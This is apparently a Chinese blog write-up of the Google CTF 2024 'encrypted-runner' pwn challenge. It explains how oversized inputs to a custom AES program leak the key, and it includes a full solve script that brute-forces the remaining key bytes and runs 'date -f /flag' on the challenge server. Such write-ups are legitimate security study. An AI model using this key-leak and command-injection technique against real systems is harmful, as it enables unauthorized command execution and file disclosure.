ᕦʕ •ᴥ•ʔᕤ

Google CTF 2024

简介

简单题题目都能看懂,就是都没做出来,最后还是队友做出来一道

pwn-encrypted-runner

题目下载

Welcome to encrypted command runner.
What do you want to do?
- encrypt command (e.g. 'encrypt echo test')
- run command (e.g. 'run fefed6ce5359d0e886090575b2f1e0c7')
- exit

运行后提供了两个选项,加密命令和运行命令。加密命令会将后面的命令转化为 16 个字节,长度不够则用 0 补齐,传给自己写的一个 aes 程序做加密。运行命令则是接收一串十六进制字符,长度也是最多 16 个 byte,用 aes 解密后得到真实命令再运行。本地运行 aes 时需要创建一个长度 16 字节的 key 文件,但因为拿不到服务器的 key 文件,所以加密后的数据也不同

从 python 代码里可以得知,允许的命令只有三个, date echo lsdate 不允许后面有参数, echo 后面可以跟 [\w. ]+ls 后面可以跟 [/\w]+

在加密命令的时候,会检查命令和参数是否合规,但在运行命令的时候,只会检查命令而不检查参数。因此想到如果可以让它运行 date -f /flag,就可以拿到 flag 了。但现在的问题就是无法得知服务器端 aes 加密用的 key 是什么,无法构建出来加密后的命令

看了解答后,知道漏洞出在什么地方了,aes 是用 c 写的程序,理论上传入 aes 的是 16 个 byte,输出也是 16 个 byte,但这里的 aes 实现,输入的是 16 个 uint32,就是可以传入大于 0xff 的数,然后通过解密得到的数值与'R'异或就能泄露出 key 的值,这是什么原理就不知道了!写了个程序测试一下

from pwn import *
from random import randbytes, randint

key = randbytes(16)
print('key: ', end='')
for i in key:
    print(hex(i), end=' ')
print()
with open('key', 'wb') as f:
    f.write(key)
p = process("aes", level='error')
payload = [randint(0x100, 0x1000) for i in range(16)]
i = 'encrypt ' + ' '.join(hex(i)[2:] for i in payload)
print(i)
p.sendline(i.encode())
o = p.recvline().strip()
print(o.decode())
p.close()
p = process("aes", level='error')
i = b'decrypt ' + o
print(i.decode())
p.sendline(i)
o = p.recvline().strip()
print(o.decode())
p.close()
s = o.decode().split()
print('the xor value of key and each decrypt value:')
for i in range(16):
    h = int(s[i], 16)
    print(hex(h ^ key[i]), chr(h ^ key[i]), end=', ')
    print()

输出如下

key: 0xf6 0x7b 0x4b 0xfc 0x27 0x22 0x31 0xc5 0x6b 0x17 0x62 0x80 0xb 0xcc 0xb2 0xe9
encrypt f8f 2fa 399 6aa 67d 33e 87c 919 fcf a82 b39 809 45c cb6 f24 183
30 af b8 33 3f 1b ac 61 58 70 8d f4 e7 7a 89 b7
decrypt 30 af b8 33 3f 1b ac 61 58 70 8d f4 e7 7a 89 b7
a4 29 19 ae 75 70 63 97 39 45 30 d2 59 9e e0 bb
the xor value of key and each decrypt value:
0x52 R, 0x52 R, 0x52 R, 0x52 R, 0x52 R, 0x52 R, 0x52 R, 0x52 R, 0x52 R, 0x52 R, 0x52 R, 0x52 R, 0x52 R, 0x52 R, 0x52 R, 0x52 R,

可以看出对于随机的 key 和随机超过 0xff 的输入,解密后的数值与对应 key 的数值异或结果都是 R,那么反过来也可以得到 key 的数值。对于本题来说,可以用 ls 命令跟着 13 个大于 0xff 的字符,经过加密解密后,与 R 异或后得到 key,那么只有 key 前三位的值是不确定的,可以遍历搜索并用题中给出的 echo test 的例子进行验证

另外一个不理解的地方,在运行命令后得到,应该如何解码成需要的 13 个字节,看了解答需要 bash -c "echo -n ''$'\017''['$'\034\203'':Q'$'\031''z'$'\a\035\252\370\373'" 这样才行,直接 echo -n 不知道为什么得到的就不对,不知道为什么

解答如下,参考 https://github.com/google/google-ctf/blob/main/2024/quals/pwn-encrypted-runner/challenge/solve.py

from pwn import *
from Crypto.Cipher import AES

p = remote('encrypted-runner.2024.ctfcompetition.com', '1337')
#echo_test = 'fefed6ce5359d0e886090575b2f1e0c7'
p.recvuntil(b"- run command (e.g. 'run ")
echo_test = bytes.fromhex(p.recvuntil(b"'")[:-1].decode())
print(echo_test)
c = 0x106
p.sendline(b'encrypt ls ' + 13 * chr(c).encode())
p.recvuntil(b'Encrypted command: ')
encrypt_command = p.recvline()[:-1]
p.sendline(b'run ' + encrypt_command)
p.recvuntil(b'cannot access ')
decrypt_value = p.recvuntil(b': No such file or directory')[:-27]
p.sendline(b'exit')
p.close()

p = process(['bash', '-c', 'echo -n ' + decrypt_value.decode()])
decrypt_value = p.recvall()
print(decrypt_value)

key = [0, 0, 0] + [ord('R') ^ i for i in decrypt_value]
text = b'echo test' + b'\x00'*7
find = False

for a in range(78, 256):
    if find:
        break
    key[0] = a
    print(a)
    for b in range(0xa3, 256):
        if find:
            break
        key[1] = b
        for c in range(0x93, 256):
            if find:
                break
            key[2] = c
            cipher = AES.new(key=bytes(key), mode=AES.MODE_ECB)
            ciphertext = cipher.encrypt(text)
            if ciphertext == echo_test:
                find = True

print(bytes(key))
with open('key', 'wb') as f:
    f.write(bytes(key))

cmd = b'date -f /flag\x00\x00\x00'
cipher = AES.new(key=bytes(key), mode=AES.MODE_ECB)
payload = b'run ' + cipher.encrypt(cmd).hex().encode()
p = remote('encrypted-runner.2024.ctfcompetition.com', '1337')
p.sendline(payload)
p.sendline(b'exit')
o = p.recvall()
print(o.decode())

pwn-knife

TODO